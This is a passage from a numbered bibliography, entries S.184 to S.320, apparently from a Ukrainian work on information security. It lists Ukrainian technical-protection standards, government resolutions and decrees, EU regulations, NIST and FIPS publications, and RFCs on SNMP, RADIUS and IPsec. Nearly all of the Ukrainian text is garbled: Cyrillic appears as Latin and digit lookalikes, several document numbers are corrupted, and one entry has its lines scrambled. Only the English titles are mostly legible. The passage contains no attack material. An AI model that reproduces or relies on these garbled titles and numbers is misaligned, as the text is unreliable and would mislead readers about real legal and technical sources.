JisIbHOCTI. MeToAMYHI BKa3iBKU 3 PO3pOOKM METOAMKM BHUSBICHHS 3aKJIagHUX
MPHUCTPOIB, 3aTBEPKEHUIN HakazoM AamiHicTparii epxcnen3s’s3ky Bix 23.07.2012
Ne 389;.

S.184. HJ] T3I 3.6-001-2000 Texniunuit 3axuct iHdopmamii. Komm rotepHi
cucteMu. [lopsimok CTBOpEHHs, BHPOBAHKEHHS, CYNPOBOKCHHS Ta MOJEpHI3aIlii
3ac00IB  TEXHIYHOTO 3axHUCTy 1H(oOpMalii BiJ] HECAHKIIIOHOBAHOTO JIOCTYILY,
sarBepkennit HakazoMm JICTC3I Cb Vkpainu Big 20.12.2000 Ne 60.

S.185. HJI T3I 3.7-001-99 MeronuyHi BKa3iBKH 010 PO3POOKH TEXHIYHOTO
3aBAaHHS HA CTBOPEHHS KOMIUIEKCHOI CHCTEMH 3axucTy iHpopmalii B
aBTOMAaTH30BaHiil cuctemi, 3aTBepkeHnit HakazoMm JICTC3I CBY Bix 28.04.1999 Ne
22.

S.186. HJ] T3I 3.7-002-99 Texniunmii 3axuct iH(opmMalii Ha TPOTpaMHO-
kepoBaHux ATC 3aranbHOro KOpPUCTYBaHHS. MeTonuMKa OI[IHKM 3aXHUIIEHOCTI
iHopmMmarii (6a3zoBa), 3arBepmkeHuit HakazoM JJCTC3I CBY Bix 28.05.1999 Ne 26.

S.187. HA, T3I 3.7-003-05 Ilopsimok mpoBeneHHS POOIT 13 CTBOPEHHS
KOMILJIEKCHOI CHCTeMH 3axucTy iHdopmariii B iHGOpMaIlitHO-TeIeKOMYHIKaI[iHHIN
cuctewmi, 3atBepkennit Hakazom JICTC3I Cb Ykpainu Big 08.11.2005 No 125.

S.188. HA T3I 4.7-001-2001 TexHiyHui 3axUCT MOBHOI 1H(popmarlli B
CUMETPUYHUX AOOHEHTCHKUX aHAJIOTOBUX Tele()OHHUX JiHIsX. 3aCO0M BU3HAYCHHS
HAsBHOCTI Ta BIIJAJICHOCTI MICII KOHTAKTHOTO MIJKJIFOYEHHS 3ac00IB TEXHIYHOT
po3Binku. PekoMennarii mo0 po3poOsieHHsT METOIIB BUIPOOYBaHb, 3aTBEPIKEHUIN
nakazom JICTC3I CBY Big 06.04.2001 Ne 11.

S.189. HA T3I P-001-2000 3acobu akTtuBHOrOo 3axucty iHdopmamii 3
AKyCTUYHUMU Ta BIOPOAKyCTUYHUMH JKepesiaMu BunpomiHtoBaHHs. Knacudikarris ta
3arajibHi TexHIuHI BUMorH, 3aTtBeppkeHnii HakazoM JICTC3I CBY Bix 04.09.2000 Ne
4].

S.190. Tlonoxenn mpo JepkaBHuii eHTp Kibep3axucty Jlep:kaBHOI ciry:x0u
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CIIeLI1JIbHOTO 3B’ SI3KY Ta 3aXHUCTY iH(opMallii YKpaiHu y HOBIM penakiiii, 3aTBepIKeHE
Haka3zoMm AnmiHicTpaiii Jepxcnenss’si3ky Bia 26 sxoBTHs 2020 poky Ne 686.

S.191. TlonoxeHHS MpO JEp>KaBHY €KCIEePTU3y B cepl TEXHIYHOTO 3aXHCTY
iH(dopMaIlii, 3aTBEepKEHUM Haka3zoM AamiHicTparii [epxkcnen3s's3ky YKkpainu Bij
16.05.2007 p. Ne 93 1 3apeectpoBanuM B MiHicTepceTsi foctuiii Ykpainu 16.07.2007
p. 3a Ne 820/14087 (y penakmii Hakasy AnMiHicTparii JlepkaBHOT Cly)Ou
CHEIIaIbHOTO 3B'A3KY Ta 3axucTy iHpopMalii Ykpainu Big 13 xoBtHa 2017 poky N
565).

S.192. IlocranoBa Ka6inery MinictpiB Ykpainu Big 08.10.1997 Ne 1126 «IIpo
3arBepKeHHs1 KoHlleninii TeXHIYHOT0 3aXUCcTy 1H(popMallii B YKpaiHi»;.

S.193. IlocranoBa Ka6inety MinictpiB Ykpainu Big 04.02.1998 Ne 121 «IIpo
3aTBEpPKEHHSI TMEpeliKy OOOB'A3KOBUX €TalliB pOOIT M dYac MPOEKTyBaHHS,
BIIPOBA/KEHHS Ta €KCIUTyaTalli 3aco01B iHPOpMATH3ALII»;.

S.194. TloctanoBa KaGinety MinictpiB Ykpainu Big 16.02.1998 Ne 180 «IIpo
3arBepKeHHs [lonoxeHHs mpo 3a0e3nedeHHs peKUMY CEKPETHOCTI IMiJT 4ac 00pOOKH
iHhopmalii, 00 CTAaHOBUTh JEpKAaBHY  TAaEMHHMIIO, B  1H(OpMaLiiHO-
TeJIEKOMYHIKalIMHUX Ta 1H(popmaliitHux CucreMaxy;.

S.195. Tlocranosa KaGinety MinictpiB Ykpainu Big 08.06.1998 Ne 838 «IIpo
3aTBepKeHHs [lONOXEHHS Mpo MOpPSIOK HaJaHHS CyO’€KTaM TIOCIOJapIOBaHHS
JUSUTBHOCTI TIOBHOB)XEHb HA TMPaBO 3AIMCHEHHS EKCIOpPTYy, IMIOPTY TOBapiB
BIICBKOBOTO IIPU3HAYECHHS Ta TOBApiB, SIKI MICTATh BIJOMOCTI, IO CTAHOBJISATH
JepKaBHY TAEMHHIIIOM.

S.196. IlocranoBa KaGinery MinictpiB Ykpainu Big 13.03.2002 Ne 281 «IIpo
JesIKl MUTaHHS 3aXUCTY 1HPOpMallii, 0OXOpOHA SKOi 3a0€3MeUy€EThCS JEPKABOIOY.

S.197. Ilocranora Ka6Ginety MinictpiB Ykpainu Big 12.04.2002 Ne 522 «IIpo
3arBepKeHHs [opsaKy miaKIIOYeHHS 10 TI00aTbHUX MEPEX mepeaadi JaHuX».

S.198. Ilocranora Ka6inery MinicTpiB Ykpainu Big 16.11.2002 Ne 1772 «IIpo
3atBepmkeHHs [lopsaky B3aemofii opraHiB BUKOHABYOi BIAJAM 3 MUTaHb 3aXUCTY
JepkaBHUX 1H(GOpMALIITHUX pecypciB B 1H(QOpMAUIMHUX Ta TEIEKOMYHIKALIIHUX
Cucremax».

S.199. Tlocranoa Kabinetry MinictpiB Ykpaiau Binx 20.11.2003 Ne 1807 «IIpo
3atBep/keHHsl [lopsinky 3a1HCHEHHS AEepaBHOTO KOHTPOJIIO 3a MIKHAPOJHUMHU
nepenavyaMy TOBapiB BIMICHKOBOTO MPU3HAYCHHS.

S.200. ITocranora Kabinery MinictpiB Ykpainu Big 28.01.2004 Ne 86 «IIpo
3atBepmkeHHs [lopsinky 3aiACHEHHS JEp)KAaBHOTO KOHTPOJIIO 3a MIXHAPOJIHUMU
nepenayaMu TOBapiB MOJABITHOTO BUKOPUCTAHHS.

S.201. TlocrtanoBa Ka6inety MinictpiB Ykpainu Big 29.03.2006 Ne 373 «IIpo
3arBep/keHHs1 [IpaBun 3a0e3nedeHHs 3axucty iHGopmalii B 1H(OpMAIIHHUX,
TeJICKOMYHIKalIHUX Ta 1H(OopMaIliiHO-TeTeKoMyHIKaIlinHux Crucremaxy.

S.202. TloctanoBa KabGinety MinictpiB Ykpainu Big 03.09.2014 Ne 411 «IIpo
3arBep keHHs [lonoxenus npo AamiHictpanito [lep:kaBHOi ciay>k0M cneniaaibHOro
3B’SI3KY Ta 3aXUCTy 1HPopMalii YKpaiHu;.

S.203. IlocranoBa Ka6inety MinictpiB Ykpainu Big 05.08.2015 Ne 609 «IIpo
3aTBEPKEHHS TEpelliKy OpPraHiB JIIIEH3yBaHHSA Ta BU3HAHHS TaKWMH, [I0 BTPATHIIN
YUHHICTb, IesIKuX rmoctaHoB KaGinety MiHicTpiB Ykpainu.
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S.204. IloctanoBa Kabinery MinictpiB Ykpainu Big 16.12.2015 No 1057 «IIpo
BU3HAUYCHHS cdep OISUIbHOCTI, B SAKUX IIEHTpajibHI OpraHd BHUKOHABYOi BIIAJU
3IACHIOIOTH (DYHKIIIT TEXHIYHOTO PEryIIOBAHHS.

S.205. IlocranoBa Kabinery MinictpiB Ykpainu Big 27.01.2016 Ne 96 «IIpo
3aTBepkeHHs [lopsiaky Bumadi abo BIIMOBH y BHJIaul PIIICHHS MPO MPU3HAYCHHS,
roro nepeodopMIICHHS Ta BUAA41l HOro ay0JIiKaTa, pO3IIMPEHHS Ta 0OMEKEHHs cepu
NpU3HAYEHHS, TUMYAacOBOrO0 TPUIMHEHHS 1 TIOHOBJICHHS [ii pIMIEHHS PO
NpU3HAYEHHS Ta aHYJIIOBAHHS TAKOTO PIIIEHHS Ta BU3HAHHS TaKUMHU, 10 BTPATHIIU
YUHHICTH, AKX ocTaHoB KabineTy MiHicTpiB Ykpaiamy.

S.206. TlocranoBa KaGinery MinictpiB Ykpainu Bia 19.10.2016 Ne 736 «IIpo
3aTBEp/UKEHHs THIIOBOI IHCTPYKINT MHpO TOPSIOK BeACHHSA OOJIKYy, 30epiraHss,
BUKOPHUCTAHHS 1 3HUIIIEHHS JIOKYMEHTIB Ta IHIIUX MaTepialiIbHUX HOCIIB 1H(opMaIiii,
IO MICTSTH CITY>K00BY 1H(hOpMAITIION.

S.207. Ilocranosa Ka6inety MinictpiB Ykpainu Bijx 16.11.2016 Ne 821 «Jlesiki
MUTAHHS JIIEH3YBaHHS TOCMOJAPChKOI MISUIBHOCTI 3 HAJaHHS MOCIYyT y Tally3l
KpUnrorpadiuHoro 3axucty iHQpopMaiii (KpiM MOCIYyTr €JIEKTPOHHOIO LH(PPOBOIroO
MIANUCY) Ta TEXHIYHOTO 3aXHUCTy iH(opmalii, 3a MepenikoM, IO BHU3HAYAETHCS
Kabinerom MiHicTpiB YKkpainmy.

S.208. IlocranoBa Ka6inety MinictpiB Ykpainu Big 10.05.2018 Ne 342 «IIpo
3aTBEPI)KEHHSI METOJIUK pPO3pOOJEHHS KPUTEPIiB 3a SIKUMU OLIHIOETHCS CTYIIHb
PHU3UKY B1J] MIPOBAIKEHHS IOCIOIAPCHKOI AISITIBHOCTI Ta BU3HAYAETHCS MEPIOAUYHICTD
MPOBEJCHHS IUUIAHOBUX 3aXOJiB JCPXKABHOTO HArisgy (KOHTPOIIO), a TaKOX
yHI(p1IKOBaHUX (POPM aKTIB, IO CKIAJAIOTHCS 33 PE3YJIbTATAMH MMPOBEAEHHS TUIAHOBHUX
(To3ary1aHOBHX ) 3aXO/I1B JIEPKABHOTO HATJISIAY (KOHTPOJIIO)»;.

S.209. Ilocranora Ka6inety MinictpiB Ykpainu Big 19.09.2018 Ne 749 «IIpo
3aTBepKeHHs [1opsaaKy BHKOPHUCTAaHHS €JIEKTPOHHHUX JOBIPYMX IMOCIYr B OpraHax
JiepKaBHOI BJIaJM, OpraHax MICLEBOTO CaMOBPsAyBaHHs, MiAIPUEMCTBAX, YCTAHOBAX
Ta OpraHizaiisx Jep>KaBHOI (POPMHU BIACHOCTIY;.

S.210. TlocranoBa KaGinery MinictpiB Ykpainu Big 31.10.2018 Ne 915 «IIpo
3aTBEPIKEHHSI KPUTEPIiB, 32 SIKMUMH OLIHIOETHCSA CTYIIHb PU3UKY BiJ MPOBAIKEHHS
roCroAapchKol AISUIBHOCTI, IO MIJJISATAae JIUEH3YBAaHHIO, Y c(epl HalaHHS MOCIyT Y
rajy3i kpunrorpadiqHoro 3axucty iHpopMmaiiii (KpiM eIeKTPOHHHUX JOBIPUUX MOCTYT)
Ta TEXHIYHOrO 3axHUCTy iHQopMalii 3a mepenikoM, o Bu3HaydaeThesi KabineTom
MinictpiB YKpaiHu, i BCTAHOBIIOETHCS MIEPIOIUYHICT MPOBEICHHS TUTAHOBHX 3aXO0/1iB
Jep>)kaBHOTO  Harisny  (KoHTponto) — AnmiHicTpamiero  JlepskaBHOiI  ciry»kOu
CIIELIJILHOTO 3B’SI3KYy Ta 3aXUCTY 1H(OpMaIIii»;.

S.211. TlocrtanoBa Ka6inety MinictpiB Ykpainu Big 07.11.2018 Ne 992 «IIpo
3aTBEPIKEHHSI BUMOT y c(pepi eIeKTPOHHUX J0BipuuX nociyr Ta [lopsanky nepesipku
JOTPUMAaHHS BUMOT 3aKOHOJABCTBA Y cepi eNEKTPOHHUX JOBIPUUX TOCTYTY;.

S.212. Tlocranora Ka6inety MinictpiB Ykpainu Bix 16.11.2018 No 821 «Jlesiki
NMUTaHHS JIIEH3YBaHHS TOCHOAAPChKOI MISUTBHOCTI 3 HaJaHHS TMOCIYyT y Taly3i
KpunrorpadiyHoro 3axucty iH(opmalii (KpiM HOCIyT eJIeKTPOHHOTO LU(pPOBOTO
OiOUCY) Ta TEXHIYHOTO 3axucTy iHdopmalli 3a NepeikoM, 0 BHU3HAYAETHCS
Kabinerom MiHicTpiB YKpainmy;.

S.213. TlocranoBa KMY Bin 19 uepsus 2019 poky Ne 518 «IIpo 3aTBepmxeHHs
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3arajJibHUX BUMOT JI0 Ki0ep3axHuCTy 00’ €KTIB KPUTUYHOT IHPPACTPYKTYPH.

S.214. Tlocranoa KaGinety MinictpiB Ykpainu Big 21 xostas 2020 p. Ne 991
«IIpo 3atBepxeHHs] TEeXHIYHOTO PErIaMEHTy 3ac00iB KPUIITOrPa(iqHOTO 3aXUCTY
1H(opMaIii».

S.215. IlocranoBa Kabinery MinictpiB Ykpainu Bing 23 rpyans 2020 poky
Nel1295 «Jleski muTanHa 3a0e3nedyeHHs (YHKI[IOHYBAaHHS CHUCTEMH BHUSBJICHHS
Bpa3NIMBOCTEH 1 pearyBaHHS Ha KIOCPIHIIMICHTH Ta KibepaTakmy.

S.216. IlocranoBa Kabinery MinictpiB Ykpainu Big 23 rpyans 2020 poky
Nel363 «Ilpo peaimizaliiro €KCIEPUMEHTAIBHOTO MPOEKTY MIOAO 3alpOBaKCHHS
KOMILICKCY OpTaHi3alliiHO-TEXHIYHUX 3aXO0/I1B 3 BUSBJICHHS BPa3JIUBOCTEH 1 HEJIOMIKIB
y HaJamTyBaHHI 1HQOpMAIIHHUX, TEICKOMYHIKAlIMHUX Ta 1H(OpMaIliifHo-
TEJICKOMYHIKALIMHUX CHUCTEM, B SKHX OOpOOJsAIOThCA JAepkaBHI 1HQOpMaIliiiHi
pecypcm».

S.217. TlocranoBa Kab6inety MinictpiB Ykpainu Big 8 motoro 2021 p. Ne94
«IIpo peam3anito E€KCHEPUMEHTAIBHOTO MPOEKTY IIOA0  (PYHKIIOHYBaHHS
HanioHansHOTo HEHTpPY pe3epByBaHHS AEpKABHUX 1H(HOPMAIIHHUX PECYPCIBY.

S.218. IlpaBuna mnpoBeneHHs poOIT 13 cepTUdiKaiii 3aco0iB  3aXUCTy
iH(hOopMaIlii, 3aTBEpHKEHUMHU CITUIBHUM Haka3zoMm AmiHicTpalii Jlepkcrnen3B's3ky Ta
JlepsxcnioskuBcTanapty Ykpainu Bin 25.04.2007 p. Ne 75/91 i 3apeecTpoBaHUMHU B
Minictepctsi toctuiii Yipainu 14.05.2007 p. 3a Ne 498/13765.

S.219. Pernament (€C) No 526/2013 €sponeiicbkoro [Tapiamenty Ta Paau Bin
21 tpaBus 2013 poky npo ArentctBo €Bporericbkoro Coro3y 3 MUTaHb MEPEKEBOI Ta
iHpopmariitnoi 6e3nexu (ENISA) Ta mpo ckacyBanus Pernamenty (€C) No 460/2004
(OB L 165, 18.6.2013, c.41).

S.220. Pernament €Bponeiicbkoro [Tapiamenty i Panu (€C) 2019/881 Bin 17
kBiTHS 2019 poky «IIpo ArentctBo €Bpomeiicbkoro Coro3y 3 TUTaHb MEPEKEBOI Ta
inpopmanirinoi  Oesnmeku  (ENISA) Tta mpo ceprudikamito  KidepOe3neku
1H(hOpMAaIITHO-KOMYHIKAI[IHHUX TEXHOJIOT1».

S.221. JTupextuna (€C) 2016/1148 €Bponeiicbkoro [Tapmamenty Ta Paau Bin 6
munHs 2016 poky mpo 3ax0.1u 010 BUCOKOTO 3arajJbHOTO PiBHS O€3MEKH MEPEKEBUX
Ta iHopMariiiHux cucteM y BchoMy Corosi (OB L 194, 19.7.2016, c. 1).

S.222. Pernament (€C) 2016/679 €Bporneiicekoro Ilapaamenty Ta Pagu Big 27
kBiTHS 2016 poky mpo 3axuct Gi3udHUX 0cid mpu 00pOOIll MEePCOHATBHUX JAaHUX Ta
PO BUIbHE MEPEMIIEHHsS TaKWX JaHUX Ta Mpo ckacyBaHHs JupexktuBu 95/46/€C
(3aranpHui persiaMmeHT mpo 3axuct aanux) (OB L 119, 4.5.2016, c. 1).

S.223. Pexomenpartist Komicii (€C) 2017/1584 Bin 13 Bepecus 2017 poky 110,10
CKOOPAMHOBAHOTO pearyBaHHS Ha MAacIITa0HI IHIUAEHTH Ta KpHU3UM B Traysl
kibep6esneku (OB L 239, 19.9.2017, ¢. 36).

S.224. Pernament (€C) No 765/2008 €Bponeiicbkoro [Tapnamenty Ta Paau Bin
9 mumnas 2008 poxy, 1110 BCTAHOBJIIOE BUMOTH JI0 aKPEAMTAIII] Ta HATJISITY 32 PUHKOM,
III0 CTOCYIOThCS 30yTy MPOAyKIIii, Ta ckacyBaHHs Pernamenty (EEC) No 339/93 ( OB
L 218, 13.8.2008, c. 30).

S.225. Pernament (€C) No 1025/2012 €spormneiicbkoro Ilapaamenty ta Paau
BiZ 25 xoBTHS 2012 poky mpo €BpOIENHChKY CTaHAApTU3AIlI0, III0 BHOCUTH 3MIHU JI0
HupextuB Pagm 89/686/€EC ta 93/15/€EC Ta Mupextus 94/9/€C, 94/25/€C,
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95/16/€C, 97/23/€C, 98/34/€C, 2004/22/€C, 2007/23/€C, 2009/23/€C Tta 128
2009/105/€C €Esponeiicbkoro ITapnamenty Ta Paau ta ckacyBanus Pimenns Panu
87/95/€EC Tta Pimmenns €Bpornericskoro [Tapiaamenty ta Pagu No 1673/2006/€C ( OB
L 316, 14.11.2012, c. 12).

S.226. Posnopsykennss Kabinery MinictpiB Ykpainu Big 2 rpyaas 2020
Ne1566-p 1040 MUTaHHS MITYYHOTO 1HTEJICKTY.

S.227. Crpareris kibepOe3nexku YKpaiHu.

S.228. TP EOT-95 TumuacoBi pekoOMeHaIli1 3 TEXHIYHOTO 3aXUCTY 1H(pOopMaIii
y 3aco0ax OOYMCIIOBAJIbHOI TEXHIKH, aBTOMATH30BAaHUX CHCTEMax 1 Mepexax Bij
BUTHKY KaHajaMH TMOOIYHUX €NEeKTPOMAarHiTHUX BHIIPOMIHIOBaHb 1 HAaBOJOK,
3arBepkeHi HakazoMm JICTC3I Big 09.06.1995 Ne 25;.

S.229. TP T3I [IEMBH-95 TumuacoBi pekoMeHaalii 3 TEXHIYHOTO 3aXHUCTY
iH(dopMalii Bl BUTOKY KaHajlaMd MOOIYHHMX €JEKTPOMArHiTHUX BUIIPOMIHIOBaHb 1
HaBOJOK, 3aTBepmkeri HakazoM JICTC3I Bix 09.06.1995 Ne 25.

S.230. VYka3 Ilpesunenta Ykpainu Big 22.05.1998 Ne 505 «IIpo Ilonoxxenus
PO MOPSIIOK 3A1MCHEHHS KpUIITOrpadiuHoro 3axucty iHbopmallii B YKpaiHi».

S.231. Vka3 Ilpesunenta Ykpaiau Big 27.09.1999 No 1229 «IIpo IlomoxxeHHs
PO TEXHIYHUI 3aXUCT iHpopMallii B YKpaiH1».

S.232. VYxas3 [Ipe3unenta Ykpainu Bix 30.03.2015 Ne 184/2015 «IIpo pimeHHs
Panu mamionanbHO1 O6e3neku 1 06oporn Ykpainu Big 12 6epesns 2015 poky «IIpo cran
MO/I0JIaHHSl HEraTMBHUX HACTIAKIB, CIPUYMHEHHX BTPATOI MAaTeplajJbHUX HOCIIB
cekpeTHOi iHQopMallli Ha THUMYAacOBO OKYIOBaHIM TepuTOopii YKpaiHu, B pailoHI
IPOBEJICHHS] AHTUTEPOPUCTUYHO] orepallii B JloHenbkiil Ta JIlyrancbkiid 0071acTaxy;.

S.233. Vka3 [Ilpesunmenta VYkpaiam Ne544/2021 «IIpo pimenns Pamu
HalioHaJabHOI Oe3rmeku 1 oboponm Ykpainm Big 22 xoBTHA 2021 poky «IIpo
Konuenuito pedopmyBanHs JlepxaBHOI ClIy* OM CHELIaJbHOTO 3B'SI3KYy Ta 3aXHUCTY
iH(popmarli YKpaiHmy.

S.234. Vxka3 [Ipesuaenta Ykpainu Nel51/2022 Bin 19 6epesnst 2022 p. «1lloxo
peanizaiii €quHO1 1HPOPMAIIIITHOT MOJITUKA B YMOBaX BOEHHOTO CTaHY.

S.235. Va3 Ilpesunenta Ykpainu Nel151/2022 Bin 19 6epesnst 2022 p. ta «IIpo
HeUTpasizaliio 3arpo3 indopmariiiinii 6es3mner qepKaBm.

S.236. ANSI X9.62. Public Key Cryptography for the Financial Services
Industry: the Elliptic Curve Digital Signature Algorithm (ECDSA).

S.237. BS 7799 (ISO/IEC 17799) «KepyBanus iHpopMariiiiHoo 0e3neKoro.
[TpakTuuni nmpasuna» (Code of practice for information security management).

S.238. BS 7799-2:2002 «Cucremu KEpYBaHHS 1H(pOopMaIiitHOO
Oe3nekoro — crienudikaiis 3 mocionnkoM 3 BukopuctanHs» (Information security
management systems — Specification with guidance for use).

S.239. GSS-API «Y3aranbHeHul npukiIaaHUN IporpaMHuil iHTepdeiic ciyxou
oesnexu» (Generic Security Service Application Program Interface, GSS-API).

S.240. FIPS 140-2 «Bumoru Oe3neku mjigs KpUNTOrpaiuHUX MOAYJIIB»
(Security Requirements for Cryptographic Modules).

S.241. FIPS. PUB 180-4. Secure Hash Standard (SHS).

S.242. FIPS. PUB 186. Digital Signature Standard (DSS).

S.243. FIPS. PUB 202 SHA-3 Standard: Permutation-Based Hash and
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Extendable-Output Functions.

S.244. |IEEE 1363-2000. IEEE Standard Specifications for Public-Key
Cryptography.

S.245. IEEE 1363a-2004 — IEEE Standard Specifications for Public-Key
Cryptography — Amendment 1. Additional Techniques.

S.246. ITU-T X-1051 «Information security management systems.
Requirements for telecommunications».

S.247. NIST SP 800-30. Guide for Conducting Risk Assessments. («ITocioHuk
3 MMPOBEJICHHS OIIIHKU PU3UKIBY).

S.248. NIST SP 800-37. Risk Management Framework for Information
Systems and Organizations: A System Life Cycle Approach for Security and Privacy.
(«DpeiiMBOPK yTpaBIiHHS pU3HKAMU AJIs 1HGOPMAIIHHUX CUCTEM Ta OpraHi3ailiiny).

S.249. NIST SP 800-38. Recommendation for Block Cipher Modes of
Operation: Methods and Techniques.

S.250. NIST SP 800-39. Managing Information Security Risk: Organization,
Mission, and Information System View. ("YnpaBniHHs pu3HKamM# iHGOpMaIiiHOT
oesmeku").

S.251. NIST SP 800-53 Security and Privacy Controls for Information Systems
and Organizations («Mipu 3a0e3mneueHHss Oe3mMeKd Ta KOHDIIECHIIHHOCTI IS
1H(OpMAIIHUX CUCTEM Ta OpraHi3aliiiy).

S.252. NIST Special Publication 800-57 Part 1Revision 4. Recommendation for
Key Management.

S.253. NIST SP 800-60. Guide for Mapping Types of Information and
Information Systems to Security Categories.

S.254. NIST SP 800-63. Digital Identity Guidelines.

S.255. NIST SP 800-137. Information Security Continuous Monitoring (ISCM)
for Federal Information Systems and Organizations. («be3nepepBHUII MOHITOPHHT
1H(MOpMaIIHOT O€3MeKH»).

S.256. NIST Special Publication 800-90A Recommendation for Random
Number Generation Using Deterministic Random Bit Generators.

S.257. RFC 793 — Transmission Control Protocol.

S.258. RFC 1155 (STD 16)- Crpykrypa Ta imeHTH]IKAIisS Kepyrouoi
iHpopMallii B Mepexax Ha OCHOBI cTeKy mpotokoiiB TCP/IP.

S.259. RFC 1156 (Historic) — ba3a kepyrouoi iHbopMallii Ias MepeKHOIro
yIpaBIiHHS B MepeXax Ha OCHOBI cTeka rnpotokosis TCP/IP.

S.260. RFC 1157 (Historic) — IIpocTuii mMpOTOKOI MEPEXKHOIO YIpPaBIiHHS
(SNMP).

S.261. RFC 1213 (STD 17) — ba3za kepyrouoi iHpopmariii Ijisi MEpeKHOTO
yIIpaBJIiHHS B MEpeXkax Ha OCHOBI cteka mpoTokouis TCP/IP: MIB-II,

S.262. RFC 1452 (Informational) —'IcayBanust Bepciii 1 1 2 IntepHer-
crangapty Network Management Framework (nepernsuayro 8 RFC 1908 ).

S.263. RFC 1510 «Mepexuuii ceppic aBrentudikarii Kerberos (V5)».

S.264. RFC 1901 (Experimental) — Beenennst 8 SNMPV2 Ha 0CHOBI CHIBHOT.

S.265. RFC 1902 (Draft Standard) — Ctpyktypa kepyrouoi iHdopMarii s
SNMPV2 (nepernsuyTuii B RFC 2578 ).
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S.266.

RFC 1908 (Standards Track) — IcuyBanus Bepciii 1 1 2 IHTepHeT-

crangapty Network Management Framework.

S.267.
AH) — BukopuctanHus

RFC 2403 (The Use
AJITOPUTMY

of HMAC-MD5-96 with ESP and
xemryBanHss ~ MD-5 s cTBOpeHHS

aBTEHTHU(IKAIIHHOTO 3aTr0JIOBKA.

S.268.
AH) — BuKOpHCTaHHS

RFC 2404 (The Use of HMAC-SHA-1-96 with ESP and
anroput™My  xemyBaHHd ~ SHA-1  gis cTBOpeHHS

aBTCHTHU(IKAIIITHOTO 3aroJI0BKa.

S.269. RFC 2405 (ESP DES-CBC Cipher Algorithm With Explicit
IV) — Bukopucranus anroputmy mudpysanas DES.

S.270. RFC 2407 (Internet Internet Security Domain of Interpretation for
ISAKMP) — 06macth 3acTOCYBaHHS IPOTOKOJTY YIIPABIIHHS KIIOYaMH.

S.271. RFC 2408 (Internet Security Association and Key Management Protocol
[ISAKMP]) — ynpaBniHHs KiIto4aM# Ta aBTEHTU(IKATOpaAMH 3aXHUIIEHUX 3'€THAHb.

S.272. RFC 2410 (Null Encryption Algorithm and Its Use With
IPsec) — HyTbOBHIA aNTOpUTM MIU(PPYBAHHS TA HOTO BUKOPUCTAHHS.

S.273. RFC 2411 (IP Security Document Roadmap) — moaibIiuii pO3BUTOK
CTaHIapTYy.

S.274. RFC 2412 (The OAKLEY Key Determination Protocol) — nepesipka
BIIIIOBITHOCTI KJIFOYA.

S.275. RFC 2548 Cneuudiuni atpudytn RADIUS  Microsoft  Bin
MoCTayaIbHUKA.

S.276. RFC 2570 (Informational) — Beenenns y Bepcito 3 [HTepHET-CTaHIApTY
Network Management Framework (mepernsayro 8 RFC 3410 ).

S.277. RFC 2578 (STD 58) — Ctpykrypa iH(popmaliii, o yrnpasise, Bepcis 2
(SMIv2).

S.278. RFC 2607 3’eananHs mpOKCi Ta BIPOBAHKEHHS MOJITUKU B POYMIHTY.

S.279. RFC 2618 MIB xnienta aBrentudikamii RADIUS.

S.280. RFC 2619 Cepgep aBrentudikarnii RADIUS MIB.

S.281. RFC 2620 RADIUS Accounting Client MIB.

S.282. RFC 2621 RADIUS o6nikoBuii cepsep MIB.

S.283. RFC 2809 Peamizamis npumycoBoro TtyHemoBanHs L2TP uepes
RADIUS.

S.284. RFC 2865. Remote Authentication Dial In User Service (RADIUS).

S.285. RFC 2866. RADIUS Accounting.

S.286. RFC 2867 Moaudikamii ooaiky RADIUS ang niarpumMku TyHEIbHOTO
MPOTOKOITY.

S.287. RFC 2868 Atpubytu RADIUS nnst migATpUMKH TYHETEHOTO TPOTOKOITY.

S.288. RFC 2869 Pozmupenns RADIUS.

S.289. Bumoru no cepepiB npoctymy ao mepexi RFC 2882: posmmpeni
npaktuku RADIUS.

S.290. RFC 3162 RADIUS 1 IPV6.

S.291. RFC 3410 (Informational) — IlutanHsi BBEACHHS Ta 3aCTOCYBaHHS

Inrepuer-cranaapty Network Management Framework' STD 62.

S.292.

RFC 3411 — Apxitekrypa s ormucy SNMP Management Framework.
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S.293. RFC 3412 — O6po0ka Ta HaacwiaHHs noBigomiieHb it SNMP.

S.294. RFC 3413 — ITporpamu SNMP.

S.295. RFC 3414 — Mopnenp Oe3neku Ha OocHOBI kopuctyBadiB (USM) mis
SNMPV3.

S.296. RFC 3415 — View-based Access Control Model (VACM) miis SNMP.

S.297. RFC 3416 — Bepcis 2 npoTokonsHux oneparliit st SNMP.

S.298. RFC 3417 — ITpus'sa3ku go tpancnopty ais SNMP.

S.299. RFC 3418 — baza kepyrouoi indopmariii (MIB) miast SNMP.,

S.300. RFC 3430 (Experimental) — SNMP Hanx npus'siskamu 10 TpaHCIIOPTY B
TCP.

S.301. RFC 3575 IANA, mipkyBanns moja0 RADIUS.

S.302. RFC 3576 Posmupenns nunamivunoi aBropusanii 1t RADIUS.

S.303. RFC 3579 Iiarpumka RADIUS nns EAP.

S.304. RFC 3580 Iactpykmii 3 Bukopuctanas RADIUS IEEE 802.1X.

S.305. RFC 3584 (BCP 74) — IcuyBanns Bepciit 1, 2 Ta 3 [HTepHeT-cTaHmapTy
Network Management Framework.

S.306. RFC 3589 Diameter Command Codes for 3GPP.

S.307. RFC 3826 (Proposed) — Anroputm mmdpysanuas AES (Advanced
Encryption Standard) y mozesi Ge3neku Ha ocHOBI kopucTyBadiB y SNMP.

S.308. RFC 4006 Diameter Credit-Control Application.

S.309. RFC 4014 TIlignapametrp arpubytiB RADIUS nans mnapamerpa
iHpopmMmariii arenra perpancisnii DHCP,

S.310. RFC 4109 (panime RFC 2409) — oomin xmogamu |KEVL.

S.311. RFC 4301 (panime RFC 2401) (Security Architecture for the Internet
Protocol) — apxiTekTypa 3axucTy mjst mpotokoy IP.

S.312. RFC 4302 (pamime RFC  2402) (IP  Authentication
header) — aBrenTHdikaniiauii 3aroioBok IP.

S.313. RFC 4303 (panime RFC 2406) (IP Encapsulating Security Payload
[ESP]) — mmdpyBanHs gaHuX.

S.314. RFC 4306 (Internet Protocol Key Exchange (IKEv2))— nporokoi
oOminy kirouamu IKEV2.

S.315. RFC 4672 MIB xnienta nuHamiunoi aBropu3aitii RADIUS.

S.316. RFC 4673 MIB cepBepa nunamiunoi aBropuzaiiii RADIUS.

S.317. RFC 5343 (Proposed) — Kontekctae EnginelD-BusiBnerns B SNMP.

S.318. RFC 5590 (Draft) — Tpancnoptaa miacucrema mist SNMP.

S.319. RFC 5591 (Draft) — Tpancnoptha moneis 0e3neku st SNMP,

S.320. RFC 5592 (Proposed) — Tpancmnopraa mozxens Secure Shell s SNMP.

